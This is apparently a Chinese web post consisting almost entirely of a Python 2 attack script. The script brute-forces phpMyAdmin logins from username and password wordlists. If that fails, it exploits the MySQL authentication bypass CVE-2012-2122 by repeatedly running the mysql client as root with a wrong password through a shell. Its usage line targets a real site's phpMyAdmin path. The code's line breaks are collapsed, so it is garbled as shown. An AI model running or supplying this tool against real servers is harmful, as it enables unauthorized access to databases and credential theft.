PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。
#!/usr/bin/env pythonimport urllib import urllib2 import cookielib import sysimport subprocessdef Crack(url,username,password):opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}params = urllib.urlencode({'pma_username': username, 'pma_password': password})request = urllib2.Request(url+"/index.php", params,headers)response = opener.open(request) a=response.read() if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:return username,passwordreturn 0def MySQLAuthenticationBypassCheck(host,port):i=0while i<300:i=i+1subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()if __name__ == '__main__':if len(sys.argv)<4:print "#author:iswin\n#useage python pma.py http://www.jb51.net/phpmyadmin/ username.txt password.txt"sys.exit()print "Bruting,Pleas wait..."for name in open(sys.argv[2],"r"):for passw in open(sys.argv[3],"r"):state=Crack(sys.argv[1],name,passw)if state!=0:print "\nBrute successful"print "UserName: "+state[0]+"PassWord: "+state[1]sys.exit()print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')if choice=='Y' or choice=='y':host=raw_input('Host:')port=raw_input('Port:')MySQLAuthenticationBypassCheck(host,port)